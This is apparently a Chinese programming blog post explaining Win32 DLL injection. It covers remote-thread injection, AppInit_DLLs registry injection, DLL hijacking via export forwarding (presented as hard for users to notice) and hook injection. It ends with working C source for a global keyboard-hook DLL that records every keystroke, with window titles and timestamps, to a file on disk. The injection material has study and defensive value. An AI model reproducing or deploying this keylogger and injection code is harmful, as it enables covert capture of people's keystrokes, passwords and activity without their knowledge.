Win32编程-动态库注入

一简介、

1. DLL注入就是让程序A(程序A并没有编写加载该DLL的代码)强行调用某个DLL。

2. 原理

2.1 对 Windows 程序来说,两个进程的虚拟地址空间是互相独立的,进程函数的执行互不影响。

2.2 DLL注入就是采用一些方法将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。这样该进程和DLL共享同一内存空间,DLL可以使用该进程的所有资源,随时监控程序运行,也可以让该进程执行DLL的函数。

二 注入方法

1. 远程线程注入

1.1 原理

1. 远程线程注入是指一个进程在另一个进程中创建线程的技术。
2. 同一个DLL在不同的进程中不一定被映射(加载)到同一内存地址下,但 kernel32.dll 和 user32.dll 例外,它们总是被映射到进程的内存首先地址下,而且大部分程序都会调用这两个DLL。因此在所有使用这两个DLL的进程中,这两个DLL的内存地址是相同的,我们在本进程获取的 kernel32.dll 中函数(LoadLibrary)的地址,在目标进程中也是一样的。

1.2 步骤

第一步:通过遍历进程快照,根据目标程序名称获取目标进程的ID,进而获取目标进程的句柄

第二步:在目标进程的地址空间上开闭一块内存空间,写入要注入的DLL的地址

第三步:获取 kernel32.dll 中 LoadLibraryW 函数的地址(目标进程和注入DLL的该函数的地址都相同)

第四步:在目标进程中创建远程线程,执行 LoadLibraryW 函数

第五步:DLL注入完毕,执行清理工作

 

1.3 优缺点

    1. 优点:针对进程进行注入,相对比较简单。

    2. 缺点:
        2.1 需要权限
        2.2 容易被检测

2. 注册表注入

2.1 思路

1. 打开注册表子键
    1.1 注册表位置:
        64位:HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\ 
        32位:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\ 
    1.2 注意:64位系统只能注入64的DLL

2. 在 AppInit_DLLs 项中写入要注入的DLL名称
    2.1 注意1:Dll.dll 需要指定路径或者放入系统目录下
    2.2 注意2:DLL名称不要有空格;多个DLL中间用,隔开,且只有第一个DLL的路径起作用

3. 通过 LoadAppInit_DLLs 项设置是否注入 DLL(0-不注入,1-注入)

4. 所有使用User32.dll的应用程序都会在启动时调用注入DLL的入口函数(DLL_PROCESS_ATTACH),在卸载时调用注入DLL的入口函数(DLL_PROCESS_DETACH)。

5. 可以在注入DLL的入口函数里执行自己想执行的代码。

2.2 优缺点

1. 优点:简单、是全局注入方式

2. 缺点:只有使用User32.dll动态库的应用程序才可以注入。

3. 函数转发器注入(DLL劫持) 

3.1 思路

实现思路:用自己编写的DLL将应用程序调用的DLL替换掉,在自己编写的DLL中调用原版DLL的函数。

实现步骤:
1. 操作对象:一个应用程序 + 该应用程序调用的一个DLL(原版DLL)
2. 编写一个DLL将原版DLL替换掉:原版DLL改名,然后将自己编写的DLL改成原版DLL的名称。
3. 在自己编写的DLL中调用原版DLL的函数:
    链接到其他DLL中的函数地址:
   关键指令:#pragma comment(linker, "/export:导出函数名称=原版DLL的名称.原版DLL中的函数名称")
    
   例如:#pragma comment(linker, "/export:AddFun=InitialDll1.AddFun")

3.2 优缺点

1. 优点:是一种DLL劫持技术,可以实现偷梁换柱、瞒天过海的效果,并且用户不容易发觉。

2. 缺点:
    2.1 若应用程序发布后,不知道签名,就会失效。
    2.2 应用程序调用的所有原版DLL的函数都需要进行转发,否则会崩溃。

4. HOOK注入 

4.1  思路:通过设置钩子拦截应用程序的消息来实现DLL注入

4.2 优缺点

1. 优点:灵活,既可以设置全局钩子,又可以给指定的进程设置钩子。

2. 缺点:只能进行消息处理。

三 代码示例

extern HHOOK g_hKeyBoardHook;

//回调函数:键盘钩子函数的处理过程
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	//nCode > 0 才能进行处理
	if (nCode < 0 || nCode == HC_NOREMOVE)
		return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去

	if (wParam == VK_F12)//按下F12卸载键盘钩子
	{
		UnhookWindowsHookEx(g_hKeyBoardHook);//卸载键盘钩子(焦点必须在调用该DLL的应用程序上)
	}
	else
	{
		//此代码可以只记录键盘抬起,不记录键盘按下
		if (lParam & 0x40000000)
		{
			return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
		}

		//获取当前窗口(活动窗口、顶层窗口)的标题
		HWND hWndCurrent = GetActiveWindow();//获取活动窗口
		if (hWndCurrent == NULL)
		{
			hWndCurrent = GetForegroundWindow();//获取顶层窗口
			if (hWndCurrent == NULL)
			{
				return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
			}
		}

		//获取窗口标题
		TCHAR szTitle[256] = { 0 };
		GetWindowText(hWndCurrent, szTitle, 255);

		//获取UTC(格林威治时间、全球标准时间)时间
		/*SYSTEMTIME stUTC;
		::GetSystemTime(&stUTC);
		TCHAR szTime[256];
		wsprintf(szTime, L"UTC: %u/%u/%u %u:%u:%u:%u %d/r/n",
			stUTC.wYear, stUTC.wMonth, stUTC.wDay,
			stUTC.wHour, stUTC.wMinute, stUTC.wSecond,
			stUTC.wMilliseconds, stUTC.wDayOfWeek);*/

			//获取当地的时间
		SYSTEMTIME stLocal;
		::GetLocalTime(&stLocal);
		TCHAR szTime[256] = { 0 };
		wsprintf(szTime, L"Local: %u/%u/%u %u:%u:%u:%u %d",
			stLocal.wYear, stLocal.wMonth, stLocal.wDay,
			stLocal.wHour, stLocal.wMinute, stLocal.wSecond,
			stLocal.wMilliseconds, stLocal.wDayOfWeek);

		//GetKeyNameText 
		//功能:检取表示键名的字符串
		//参数1:键盘消息
		//参数2:缓冲区指针,存储键名
		//参数3:指定键名的最大长度
		//返回值:成功返回字符串长度,失败返回0
		TCHAR szKey[50] = { 0 };
		GetKeyNameText(lParam, szKey, 50);

		//字符串拼接
		TCHAR sz[1000] = { 0 };
		wcscat(sz, szTime);
		wcscat(sz, L"        ");
		wcscat(sz, szTitle);
		wcscat(sz, L":        ");
		wcscat(sz, szKey);
		wcscat(sz, L"\r\n");

		//MessageBox(NULL, sz, L"按键信息", NULL);

		//将按键信息记录到文件中
		DWORD dwWriten = 0;
		HANDLE hFile = NULL;
		hFile = CreateFile(L"D:\\键盘记录.txt", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (GetLastError() == ERROR_FILE_NOT_FOUND)//文件不存在就新建文件
		{
			hFile = CreateFile(L"D:\\键盘记录.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			static const BYTE unicodeHead[] = { 0xFF, 0xFE }; //写入UTF-16文件标识 
			WriteFile(hFile, unicodeHead, sizeof(unicodeHead), &dwWriten, NULL);
		}

		//文件指针移动到文件末尾,追加内容的关键操作
		SetFilePointer(hFile, NULL, NULL, FILE_END);

		// 将内容写入文件
		WriteFile(hFile, sz, wcslen(sz) * sizeof(TCHAR), &dwWriten, NULL);

		//刷新指定文件的缓冲区并将所有缓冲数据写入文件
		FlushFileBuffers(hFile);

		//关闭文件
		CloseHandle(hFile);
	}
	return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
	//return 1;
}

//导出函数:设置钩子
int InstallHook()
{
	//GetModuleHandle 函数功能:获取指定模块的句柄,若参数为NULL,则获取当前模块的句柄。
	//设置键盘钩子
	//注意:若设置全局钩子,则参数3需要传入当前动态库的句柄,参数4需要设置为NULL
	g_hKeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, GetModuleHandle(L"HookDll.dll"), NULL);
	if (g_hKeyBoardHook == NULL)
	{
		return 0;
	}
	return 1;
}

//导出函数:卸载钩子钩子
int UnInstallHook()
{
	return UnhookWindowsHookEx(g_hKeyBoardHook);//卸载键盘钩子
}

完整的代码在绑定的资源中,审核通过后,大家可免费下载。 

 

  • 22
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值